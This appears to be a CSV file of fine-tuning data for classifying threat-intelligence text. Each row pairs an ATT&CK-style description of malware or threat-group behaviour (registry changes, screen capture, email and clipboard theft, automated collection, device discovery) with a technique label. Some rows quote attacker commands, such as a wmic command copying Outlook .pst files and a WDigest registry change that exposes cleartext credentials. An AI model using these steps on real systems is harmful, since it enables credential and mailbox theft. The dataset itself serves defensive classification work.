REvil can save encryption parameters and system information to the Registry.,['T1112 - Modify Registry'],fine_tune
ROKRAT can modify the `HKEY_CURRENT_USER\Software\Microsoft\Office\` registry key so it can bypass the VB object model (VBOM) on a compromised host.,['T1112 - Modify Registry'],fine_tune
Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.,['T1112 - Modify Registry'],fine_tune
RegDuke can store its encryption key in the Registry.,['T1112 - Modify Registry'],fine_tune
Regin appears to have functionality to modify remote Registry information.,['T1112 - Modify Registry'],fine_tune
"Remcos has full control of the Registry, including the ability to modify it.",['T1112 - Modify Registry'],fine_tune
Rover has functionality to remove Registry Run key persistence as a cleanup procedure.,['T1112 - Modify Registry'],fine_tune
"SILENTTRINITY can modify registry keys, including to enable or disable Remote Desktop Protocol (RDP).",['T1112 - Modify Registry'],fine_tune
"SMOKEDHAM has modified registry keys for persistence, to enable credential caching for credential access, and to facilitate lateral movement via RDP.",['T1112 - Modify Registry'],fine_tune
SOUNDBITE is capable of modifying the Registry.,['T1112 - Modify Registry'],fine_tune
"SUNBURST had commands that allow an attacker to write or delete registry keys, and was observed stopping services by setting their ""HKLM\SYSTEM\CurrentControlSet\services\\[service_name]\\Start"" registry entries to value 4. It also deleted previously-created Image File Execution Options (IFEO) Debugger registry values and registry keys related to HTTP proxy to clean up traces of its activity.",['T1112 - Modify Registry'],fine_tune
ShimRat has registered two registry keys for shim databases.,['T1112 - Modify Registry'],fine_tune
"Sibot has installed a second-stage script in the ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot"" registry key.",['T1112 - Modify Registry'],fine_tune
"Silence can create, delete, or modify a specified Registry key or value.",['T1112 - Modify Registry'],fine_tune
SynAck can manipulate Registry keys.,['T1112 - Modify Registry'],fine_tune
"SysUpdate can write its configuration file to ""Software\Classes\scConfig"" in either ""HKEY_LOCAL_MACHINE"" or ""HKEY_CURRENT_USER"".",['T1112 - Modify Registry'],fine_tune
TA505 has used malware to disable Windows Defender through modification of the Registry.,['T1112 - Modify Registry'],fine_tune
"TYPEFRAME can install encrypted configuration data under the Registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\laxhost.dll"" and ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PrintConfigs"".",['T1112 - Modify Registry'],fine_tune
"Taidoor has the ability to modify the Registry on compromised hosts using ""RegDeleteValueA"" and ""RegCreateKeyExA"".",['T1112 - Modify Registry'],fine_tune
"TajMahal can set the ""KeepPrintedJobs"" attribute for configured printers in ""SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers"" to enable document stealing.",['T1112 - Modify Registry'],fine_tune
Tarrask is able to delete the Security Descriptor (`SD`) registry subkey in order to “hide” scheduled tasks.,['T1112 - Modify Registry'],fine_tune
ThreatNeedle can save its configuration data as the following RC4-encrypted Registry key: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameCon`.,['T1112 - Modify Registry'],fine_tune
TinyTurla can set its configuration parameters in the Registry.,['T1112 - Modify Registry'],fine_tune
TrickBot can modify registry entries.,['T1112 - Modify Registry'],fine_tune
Turla has used the Registry to store encrypted payloads.,['T1112 - Modify Registry'],fine_tune
"Valak has the ability to modify the Registry key ""HKCU\Software\ApplicationContainer\Appsw64"" to store information regarding the C2 server and downloads.",['T1112 - Modify Registry'],fine_tune
"Volgmer stores the encoded configuration file in the Registry key ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Security"".",['T1112 - Modify Registry'],fine_tune
WarzoneRAT can create `HKCU\Software\Classes\Folder\shell\open\command` as a new registry key during privilege escalation.,['T1112 - Modify Registry'],fine_tune
"WastedLocker can modify registry values within the ""Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap"" registry key.",['T1112 - Modify Registry'],fine_tune
Waterbear has deleted certain values from the Registry to load a malicious DLL.,['T1112 - Modify Registry'],fine_tune
"Wizard Spider has modified the Registry key ""HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest"" by setting the ""UseLogonCredential"" registry value to ""1"" in order to force credentials to be stored in clear text in memory.",['T1112 - Modify Registry'],fine_tune
"Zeus Panda modifies several Registry keys under ""HKCU\Software\Microsoft\Internet Explorer\ PhishingFilter\"" to disable phishing filters.",['T1112 - Modify Registry'],fine_tune
creates a Registry subkey that registers a new system device.,"['T1112 - Modify Registry', 'T1112 - Modify Registry']",fine_tune
"njRAT can create, delete, or modify a specified Registry key or value.",['T1112 - Modify Registry'],fine_tune
zwShell can modify the Registry.,['T1112 - Modify Registry'],fine_tune
"A JHUHUGIT variant takes screenshots by simulating the user pressing the ""Take Screenshot"" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.",['T1113 - Screen Capture'],fine_tune
A variant of Zebrocy captures screenshots of the victim’s machine in JPEG and BMP format.,['T1113 - Screen Capture'],fine_tune
APT28 has used tools to take screenshots from victims.,['T1113 - Screen Capture'],fine_tune
APT34 has a tool called CANDYKING to capture a screenshot of user's desktop.,['T1113 - Screen Capture'],fine_tune
APT39 has used a screen capture utility to take screenshots on a compromised host.,['T1113 - Screen Capture'],fine_tune
Agent Tesla can capture screenshots of the victim’s desktop.,['T1113 - Screen Capture'],fine_tune
AppleSeed can take screenshots on a compromised host by calling a series of APIs.,['T1113 - Screen Capture'],fine_tune
Aria-body has the ability to capture screenshots on compromised hosts.,['T1113 - Screen Capture'],fine_tune
Attor's has a plugin that captures screenshots of the target applications.,['T1113 - Screen Capture'],fine_tune
Azorult can capture screenshots of the victim’s machines.,['T1113 - Screen Capture'],fine_tune
BADNEWS has a command to take a screenshot and send it to the C2 server.,['T1113 - Screen Capture'],fine_tune
BISCUIT has a command to periodically take screenshots of the system.,['T1113 - Screen Capture'],fine_tune
"BLUELIGHT has captured a screenshot of the display every 30 seconds for the first 5 minutes after initiating a C2 loop, and then once every five minutes thereafter.",['T1113 - Screen Capture'],fine_tune
BRONZE BUTLER has used a tool to capture screenshots.,['T1113 - Screen Capture'],fine_tune
BadPatch captures screenshots in .jpg format and then exfiltrates them.,['T1113 - Screen Capture'],fine_tune
Bandook is capable of taking an image of and uploading the current desktop.,['T1113 - Screen Capture'],fine_tune
BlackEnergy is capable of taking screenshots.,['T1113 - Screen Capture'],fine_tune
Cadelspy has the ability to capture screenshots and webcam photos.,['T1113 - Screen Capture'],fine_tune
Cannon can take a screenshot of the desktop.,['T1113 - Screen Capture'],fine_tune
Carbanak performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.,['T1113 - Screen Capture'],fine_tune
Cardinal RAT can capture screenshots.,['T1113 - Screen Capture'],fine_tune
Catchamas captures screenshots based on specific keywords in the window’s title.,['T1113 - Screen Capture'],fine_tune
Chaes can capture screenshots of the infected machine.,['T1113 - Screen Capture'],fine_tune
Chrommme has the ability to capture screenshots.,['T1113 - Screen Capture'],fine_tune
Clambling has the ability to capture screenshots.,['T1113 - Screen Capture'],fine_tune
"Cobalt Strike's ""beacon"" payload is capable of capturing screenshots.",['T1113 - Screen Capture'],fine_tune
Cobalt Strike's Beacon payload is capable of capturing screenshots.,['T1113 - Screen Capture'],fine_tune
ConnectWise can take screenshots on remote hosts.,['T1113 - Screen Capture'],fine_tune
CosmicDuke takes periodic screenshots and exfiltrates them.,['T1113 - Screen Capture'],fine_tune
Crimson contains a command to perform screen captures.,['T1113 - Screen Capture'],fine_tune
CrossRAT is capable of taking screen captures.,['T1113 - Screen Capture'],fine_tune
DOGCALL is capable of capturing screenshots of the victim's machine.,['T1113 - Screen Capture'],fine_tune
Dark Caracal took screenshots using their Windows malware.,['T1113 - Screen Capture'],fine_tune
Daserf can take screenshots.,['T1113 - Screen Capture'],fine_tune
Derusbi is capable of performing screen captures.,['T1113 - Screen Capture'],fine_tune
"Dragonfly 2.0 has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).",['T1113 - Screen Capture'],fine_tune
"Dragonfly has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).",['T1113 - Screen Capture'],fine_tune
Dragonfly has performed screen captures of victims.,['T1113 - Screen Capture'],fine_tune
DustySky captures PNG screenshots of the main screen.,['T1113 - Screen Capture'],fine_tune
Empire is capable of capturing screenshots on Windows and macOS systems.,['T1113 - Screen Capture'],fine_tune
EvilGrab has the capability to capture screenshots.,['T1113 - Screen Capture'],fine_tune
FinFisher takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.,['T1113 - Screen Capture'],fine_tune
FlawedAmmyy can capture screenshots.,['T1113 - Screen Capture'],fine_tune
FruitFly takes screenshots of the user's desktop.,['T1113 - Screen Capture'],fine_tune
GOLD SOUTHFIELD has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.,['T1113 - Screen Capture'],fine_tune
HALFBAKED can obtain screenshots from the victim.,['T1113 - Screen Capture'],fine_tune
HotCroissant has the ability to do real time screen viewing on an infected host.,['T1113 - Screen Capture'],fine_tune
Hydraq includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.,['T1113 - Screen Capture'],fine_tune
HyperBro has the ability to take screenshots.,['T1113 - Screen Capture'],fine_tune
"InvisiMole can capture screenshots of not only the entire screen, but of each separate window open, in case they are overlapping.",['T1113 - Screen Capture'],fine_tune
Janicab captured screenshots and sent them out to a C2 server.,['T1113 - Screen Capture'],fine_tune
KONNI can take screenshots of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
Kasidet has the ability to initiate keylogging and screen captures.,['T1113 - Screen Capture'],fine_tune
Kivars has the ability to capture screenshots on the infected host.,['T1113 - Screen Capture'],fine_tune
LitePower can take system screenshots and save them to `%AppData%`.,['T1113 - Screen Capture'],fine_tune
Lizar can take JPEG screenshots of an infected system.,['T1113 - Screen Capture'],fine_tune
LookBack can take desktop screenshots.,['T1113 - Screen Capture'],fine_tune
"MacMa has used Apple’s Core Graphic APIs, such as `CGWindowListCreateImageFromArray`, to capture the user's screen and open windows.",['T1113 - Screen Capture'],fine_tune
MacSpy can capture screenshots of the desktop over multiple monitors.,['T1113 - Screen Capture'],fine_tune
Machete captures screenshots.,['T1113 - Screen Capture'],fine_tune
Malware used by Group5 is capable of watching the victim's screen.,['T1113 - Screen Capture'],fine_tune
Matryoshka is capable of performing screen captures.,['T1113 - Screen Capture'],fine_tune
Metamorfo can collect screenshots of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
Micropsia takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.,['T1113 - Screen Capture'],fine_tune
MuddyWater has used malware that can capture screenshots of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
NETWIRE can capture the victim's screen.,['T1113 - Screen Capture'],fine_tune
ObliqueRAT can capture a screenshot of the current screen.,['T1113 - Screen Capture'],fine_tune
OilRig has a tool called CANDYKING to capture a screenshot of user's desktop.,['T1113 - Screen Capture'],fine_tune
POORAIM can perform screen capturing.,['T1113 - Screen Capture'],fine_tune
POWRUNER can capture a screenshot from a victim.,['T1113 - Screen Capture'],fine_tune
PcShare can take screen shots of a compromised machine.,['T1113 - Screen Capture'],fine_tune
Peppy can take screenshots on targeted systems.,['T1113 - Screen Capture'],fine_tune
PoetRAT has the ability to take screen captures.,['T1113 - Screen Capture'],fine_tune
Prikormka contains a module that captures screenshots of the victim's desktop.,['T1113 - Screen Capture'],fine_tune
Proton captures the content of the desktop with the screencapture binary.,['T1113 - Screen Capture'],fine_tune
Pteranodon can capture screenshots at a configurable interval.,['T1113 - Screen Capture'],fine_tune
Pupy can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.,['T1113 - Screen Capture'],fine_tune
QuietSieve has taken screenshots every five minutes and saved them to the user's local Application Data folder under `Temp\SymbolSourceSymbols\icons` or `Temp\ModeAuto\icons`.,['T1113 - Screen Capture'],fine_tune
RCSession can capture screenshots from a compromised host.,['T1113 - Screen Capture'],fine_tune
RDAT can take a screenshot on the infected system.,['T1113 - Screen Capture'],fine_tune
ROKRAT can capture screenshots of the infected system using the `gdi32` library.,['T1113 - Screen Capture'],fine_tune
RTM can capture screenshots.,['T1113 - Screen Capture'],fine_tune
Remexi takes screenshots of windows of interest.,['T1113 - Screen Capture'],fine_tune
RemoteUtilities can take screenshots on a compromised host.,['T1113 - Screen Capture'],fine_tune
"RogueRobin has a command named ""$screenshot"" that may be responsible for taking screenshots of the victim machine.",['T1113 - Screen Capture'],fine_tune
"Rover takes screenshots of the compromised system's desktop and saves them to ""C:\system\screenshot.bmp"" for exfiltration every 60 minutes.",['T1113 - Screen Capture'],fine_tune
SHUTTERSPEED can capture screenshots.,['T1113 - Screen Capture'],fine_tune
SILENTTRINITY can take a screenshot of the current desktop.,['T1113 - Screen Capture'],fine_tune
"SLOTHFULMEDIA has taken a screenshot of a victim's desktop, named it ""Filter3.jpg"", and stored it in the local directory.",['T1113 - Screen Capture'],fine_tune
SMOKEDHAM can capture screenshots of the victim’s desktop.,['T1113 - Screen Capture'],fine_tune
SharpStage has the ability to capture the victim's screen.,['T1113 - Screen Capture'],fine_tune
Silence can capture victim screen activity.,['T1113 - Screen Capture'],fine_tune
Sliver can take screenshots of the victim’s active display.,['T1113 - Screen Capture'],fine_tune
Socksbot can take screenshots.,['T1113 - Screen Capture'],fine_tune
StoneDrill can take screenshots.,['T1113 - Screen Capture'],fine_tune
SysUpdate has the ability to capture screenshots.,['T1113 - Screen Capture'],fine_tune
"T9000 can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.",['T1113 - Screen Capture'],fine_tune
TURNEDUP is capable of taking screenshots.,['T1113 - Screen Capture'],fine_tune
TajMahal has the ability to take screenshots on an infected host including capturing content from windows of instant messaging applications.,['T1113 - Screen Capture'],fine_tune
The FunnyDream ScreenCap component can take screenshots on a compromised host.,['T1113 - Screen Capture'],fine_tune
TinyZBot contains screen capture functionality.,['T1113 - Screen Capture'],fine_tune
"Trojan.Karagany can take a desktop screenshot and save the file into ""\ProgramData\Mail\MailAg\shot.png"".",['T1113 - Screen Capture'],fine_tune
Turian has the ability to take screenshots.,['T1113 - Screen Capture'],fine_tune
Ursnif has used hooked APIs to take screenshots.,['T1113 - Screen Capture'],fine_tune
VERMIN can perform screen captures of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
Valak has the ability to take screenshots on a compromised host.,['T1113 - Screen Capture'],fine_tune
"XAgentOSX contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.",['T1113 - Screen Capture'],fine_tune
"XCSSET saves a screen capture of the victim's system with a numbered filename and "".jpg"" extension. Screen captures are taken at specified intervals based on the system.",['T1113 - Screen Capture'],fine_tune
ZLib has the ability to obtain screenshots of the compromised system.,['T1113 - Screen Capture'],fine_tune
ZxShell can capture screenshots.,['T1113 - Screen Capture'],fine_tune
jRAT has the capability to take screenshots of the victim’s machine.,['T1113 - Screen Capture'],fine_tune
njRAT can capture screenshots of the victim’s machines.,['T1113 - Screen Capture'],fine_tune
yty collects screenshots of the victim machine.,['T1113 - Screen Capture'],fine_tune
Magic Hound has compromised email credentials in order to steal sensitive data.,['T1114 - Email Collection'],fine_tune
Silent Librarian has exfiltrated entire mailboxes from compromised accounts.,['T1114 - Email Collection'],fine_tune
"APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files.",['T1114.001 - Email Collection: Local Email Collection'],fine_tune
Carbanak searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
"Chimera has harvested data from victim's e-mail including through execution of ""wmic /node:<ip> process call create ""cmd /c copy c:\Users\<username>\<path>\backup.pst c:\windows\temp\backup.pst"" copy ""i:\<path>\<username>\My Documents\<filename>.pst""
copy"".",['T1114.001 - Email Collection: Local Email Collection'],fine_tune
CosmicDuke searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
Crimson contains a command to collect and exfiltrate emails from Outlook.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
Emotet has been observed leveraging a module that scrapes email data from Outlook.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
Empire has the ability to collect emails on a target system.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
Magic Hound has collected .PST archives.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
Pupy can interact with a victim’s Outlook session and look through folders and emails.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
QakBot can target and steal locally stored emails to support thread hijacking phishing campaigns.,['T1114.001 - Email Collection: Local Email Collection'],fine_tune
"Smoke Loader searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).",['T1114.001 - Email Collection: Local Email Collection'],fine_tune
APT28 has collected emails from victim Microsoft Exchange servers.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"APT29 collected emails from specific individuals, such as executives and IT staff, using ""New-MailboxExportRequest"" followed by ""Get-MailboxExportRequest"".",['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"Chimera has harvested data from remote mailboxes including through execution of ""\\<hostname>\c$\Users\<username>\AppData\Local\Microsoft\Outlook*.ost"".",['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
Dragonfly 2.0 accessed email accounts using Outlook Web Access.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
FIN4 has accessed and hijacked online email communications using stolen credentials.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
HAFNIUM has used web shells to export mailbox data.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
Ke3chang has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
Kimsuky has used tools such as the MailFetch mail crawler to collect victim emails (excluding spam) from online services via IMAP.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
Leafminer used a tool called MailSniper to search through the Exchange server mailboxes for keywords.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
LightNeuron collects Exchange emails matching rules specified in its configuration.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
Magic Hound has exported emails from compromised Exchange servers.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
MailSniper can be used for searching through email in Exchange and Office 365 environments.,['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"UNC2452 collected emails from specific individuals, such as executives and IT staff, using ""New-MailboxExportRequest"" followed by ""Get-MailboxExportRequest"".",['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
"Valak can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise.",['T1114.002 - Email Collection: Remote Email Collection'],fine_tune
Kimsuky has set auto-forward rules on victim's e-mail accounts.,['T1114.003 - Email Collection: Email Forwarding Rule'],fine_tune
LAPSUS$ has set an Office 365 tenant level mail transport rule to send all mail in and out of the targeted organization to the newly created account.,['T1114.003 - Email Collection: Email Forwarding Rule'],fine_tune
Silent Librarian has set up auto forwarding rules on compromised e-mail accounts.,['T1114.003 - Email Collection: Email Forwarding Rule'],fine_tune
A JHUHUGIT variant accesses a screenshot saved in the clipboard and converts it to a JPG image.,['T1115 - Clipboard Data'],fine_tune
APT38 used a Trojan called KEYLIME to collect data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
APT39 has used tools capable of stealing contents of the clipboard.,['T1115 - Clipboard Data'],fine_tune
Agent Tesla can steal data from the victim’s clipboard.,['T1115 - Clipboard Data'],fine_tune
Attor has a plugin that collects data stored in the Windows clipboard by using the OpenClipboard and GetClipboardData APIs.,['T1115 - Clipboard Data'],fine_tune
Cadelspy has the ability to steal data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
Catchamas steals data stored in the clipboard.,['T1115 - Clipboard Data'],fine_tune
Clambling has the ability to capture and store clipboard data.,['T1115 - Clipboard Data'],fine_tune
CosmicDuke copies and exfiltrates the clipboard contents every 30 seconds.,['T1115 - Clipboard Data'],fine_tune
DarkComet can steal data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
Empire can harvest clipboard data on both Windows and macOS systems.,['T1115 - Clipboard Data'],fine_tune
Explosive has a function to use the OpenClipboard wrapper.,['T1115 - Clipboard Data'],fine_tune
FlawedAmmyy can collect clipboard data.,['T1115 - Clipboard Data'],fine_tune
KONNI had a feature to steal data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
MacSpy can steal clipboard contents.,['T1115 - Clipboard Data'],fine_tune
Machete hijacks the clipboard data by creating an overlapped window that listens to keyboard events.,['T1115 - Clipboard Data'],fine_tune
MarkiRAT can capture clipboard content.,['T1115 - Clipboard Data'],fine_tune
Melcoz can monitor content saved to the clipboard.,['T1115 - Clipboard Data'],fine_tune
Metamorfo has a function to hijack data from the clipboard by monitoring the contents of the clipboard and replacing the cryptocurrency wallet with the attacker's.,['T1115 - Clipboard Data'],fine_tune
Operation Wocao has collected clipboard data in plaintext.,['T1115 - Clipboard Data'],fine_tune
ROKRAT can extract clipboard data from a compromised host.,['T1115 - Clipboard Data'],fine_tune
Remcos steals and modifies data from the clipboard.,['T1115 - Clipboard Data'],fine_tune
Remexi collects text from the clipboard.,['T1115 - Clipboard Data'],fine_tune
The executable version of Helminth has a module to log clipboard contents.,['T1115 - Clipboard Data'],fine_tune
TinyZBot contains functionality to collect information from the clipboard.,['T1115 - Clipboard Data'],fine_tune
VERMIN collects data stored in the clipboard.,['T1115 - Clipboard Data'],fine_tune
jRAT can capture clipboard data.,['T1115 - Clipboard Data'],fine_tune
A Helminth VBScript receives a batch script to execute a set of commands in a command prompt.,['T1119 - Automated Collection'],fine_tune
APT1 used a batch script to perform a series of discovery techniques and saves it to a text file.,['T1119 - Automated Collection'],fine_tune
APT28 used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.,"['T1119 - Automated Collection', 'T1560 - Archive Collected Data']",fine_tune
"AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration.",['T1119 - Automated Collection'],fine_tune
Attor has automatically collected data about the compromised system.,['T1119 - Automated Collection'],fine_tune
BADNEWS monitors USB devices and copies files with certain extensions to a predefined directory.,['T1119 - Automated Collection'],fine_tune
Bankshot recursively generates a list of files within a directory and sends them back to the control server.,['T1119 - Automated Collection'],fine_tune
"Confucius has used a file stealer to steal documents and images with the following extensions: txt, pdf, png, jpg, doc, xls, xlm, odp, ods, odt, rtf, ppt, xlsx, xlsm, docx, pptx, and jpeg.",['T1119 - Automated Collection'],fine_tune
"During Frankenstein, the threat actors used Empire to automatically gather the username, domain name, machine name, and other system information.",['T1119 - Automated Collection'],fine_tune
"During Operation Wocao, threat actors used a script to collect information about the infected system.",['T1119 - Automated Collection'],fine_tune
"FIN6 has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button.",['T1119 - Automated Collection'],fine_tune
"For all non-removable drives on a victim, USBStealer executes automated collection of certain files for later exfiltration.",['T1119 - Automated Collection'],fine_tune
"Frankenstein has enumerated hosts via Empire, gathering the username, domain name, machine name, and other system information.",['T1119 - Automated Collection'],fine_tune
FunnyDream can monitor files for changes and automatically collect them.,['T1119 - Automated Collection'],fine_tune
Gamaredon Group has deployed scripts on compromised systems that automatically scan for interesting documents.,['T1119 - Automated Collection'],fine_tune
"GoldFinder logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.",['T1119 - Automated Collection'],fine_tune
InvisiMole can sort and collect specific documents as well as generate a list of all files on a newly inserted drive and store them in an encrypted file.,['T1119 - Automated Collection'],fine_tune
Ke3chang has performed frequent and scheduled data collection from victim networks.,['T1119 - Automated Collection'],fine_tune
"MESSAGETAP checks two files, keyword_parm.txt and parm.txt, for instructions on how to target and save data parsed and extracted from SMS message data from the network traffic. If an SMS message contained either a phone number, IMSI number, or keyword that matched the predefined list, it is saved to a CSV file for later theft by the threat actor.",['T1119 - Automated Collection'],fine_tune
"Metamorfo has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.",['T1119 - Automated Collection'],fine_tune
"Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt).",['T1119 - Automated Collection'],fine_tune
Mustang Panda used custom batch scripts to collect files automatically from a targeted system.,['T1119 - Automated Collection'],fine_tune
OilRig has used automated collection.,['T1119 - Automated Collection'],fine_tune
OutSteel can automatically scan for and collect files with specific extensions.,['T1119 - Automated Collection'],fine_tune
"Patchwork developed a file stealer to search C:\ and collect files with certain extensions. Patchwork also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.",['T1119 - Automated Collection'],fine_tune
PoetRAT used file system monitoring to track modification and enable automatic exfiltration.,['T1119 - Automated Collection'],fine_tune
PoshC2 contains a module for recursively parsing through files and directories to gather valid credit card numbers.,['T1119 - Automated Collection'],fine_tune
RTM monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.,['T1119 - Automated Collection'],fine_tune
"Ramsay can conduct an initial scan for Microsoft Word documents on the local system, removable media, and connected network drives, before tagging and collecting them. It can continue tagging documents to collect with follow up scans.",['T1119 - Automated Collection'],fine_tune
Sidewinder has used tools to automatically collect system and network configuration information.,['T1119 - Automated Collection'],fine_tune
StrongPity has a file searcher component that can automatically collect and archive files based on a predefined list of file extensions.,['T1119 - Automated Collection'],fine_tune
TajMahal has the ability to index and compress files into a send queue for exfiltration.,['T1119 - Automated Collection'],fine_tune
VERMIN saves each collected file with the automatically generated format {0:dd-MM-yyyy}.txt .,['T1119 - Automated Collection'],fine_tune
Valak can download a module to search for and build a report of harvested credential data.,['T1119 - Automated Collection'],fine_tune
WindTail can identify and add files that possess specific file extensions to an array for archiving.,['T1119 - Automated Collection'],fine_tune
"Zebrocy scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.",['T1119 - Automated Collection'],fine_tune
ccf32 can be used to automatically collect files from a compromised host.,['T1119 - Automated Collection'],fine_tune
ADVSTORESHELL can list connected devices.,['T1120 - Peripheral Device Discovery'],fine_tune
APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim.,['T1120 - Peripheral Device Discovery'],fine_tune
"APT37 has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices.",['T1120 - Peripheral Device Discovery'],fine_tune
"Attor has a plugin that collects information about inserted storage devices, modems, and phone devices.",['T1120 - Peripheral Device Discovery'],fine_tune
"BADNEWS checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.",['T1120 - Peripheral Device Discovery'],fine_tune
"BackdoorDiplomacy has used an executable to detect removable media, such as USB flash drives.",['T1120 - Peripheral Device Discovery'],fine_tune
Bandook can detect USB devices.,['T1120 - Peripheral Device Discovery'],fine_tune
"BlackEnergy can gather very specific information about attached USB devices, to include device instance ID and drive geometry.",['T1120 - Peripheral Device Discovery'],fine_tune
Cadelspy has the ability to steal information about printers and the documents sent to printers.,['T1120 - Peripheral Device Discovery'],fine_tune
Crimson has the ability to discover pluggable/removable drives to extract files from.,['T1120 - Peripheral Device Discovery'],fine_tune
Crutch can monitor for removable drives being plugged into the compromised machine.,['T1120 - Peripheral Device Discovery'],fine_tune
"During Operation Wocao, threat actors discovered removable disks attached to a system.",['T1120 - Peripheral Device Discovery'],fine_tune
DustySky can detect connected USB devices.,['T1120 - Peripheral Device Discovery'],fine_tune
Equation has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.,['T1120 - Peripheral Device Discovery'],fine_tune
"Ferocious can run ""GET.WORKSPACE"" in Microsoft Excel to check if a mouse is present.",['T1120 - Peripheral Device Discovery'],fine_tune
FlawedAmmyy will attempt to detect if a usable smart card is current inserted into a card reader.,['T1120 - Peripheral Device Discovery'],fine_tune
Mongall can identify removable media attached to compromised hosts.,['T1120 - Peripheral Device Discovery'],fine_tune
MoonWind obtains the number of removable drives from the victim.,['T1120 - Peripheral Device Discovery'],fine_tune
ObliqueRAT can discover pluggable/removable drives to extract files from.,['T1120 - Peripheral Device Discovery'],fine_tune
OilRig has used tools to identify if a mouse is connected to a targeted system.,['T1120 - Peripheral Device Discovery'],fine_tune
Operation Wocao has discovered removable disks attached to a system.,['T1120 - Peripheral Device Discovery'],fine_tune
QakBot can identify peripheral devices on targeted systems.,['T1120 - Peripheral Device Discovery'],fine_tune
QuietSieve can identify and search removable drives for specific file name extensions.,['T1120 - Peripheral Device Discovery'],fine_tune
RTM can obtain a list of smart card readers attached to the victim.,['T1120 - Peripheral Device Discovery'],fine_tune
Ragnar Locker may attempt to connect to removable drives and mapped network drives.,['T1120 - Peripheral Device Discovery'],fine_tune
Ramsay can scan for removable media which may contain documents for collection.,['T1120 - Peripheral Device Discovery'],fine_tune
Stuxnet enumerates removable drives for infection.,['T1120 - Peripheral Device Discovery'],fine_tune
T9000 searches through connected drives for removable storage devices.,['T1120 - Peripheral Device Discovery'],fine_tune
TajMahal has the ability to identify connected Apple devices.,['T1120 - Peripheral Device Discovery'],fine_tune
TeamTNT has searched for attached VGA devices using lspci.,['T1120 - Peripheral Device Discovery'],fine_tune
"Turla has used ""fsutil fsinfo drives"" to list connected drives.",['T1120 - Peripheral Device Discovery'],fine_tune
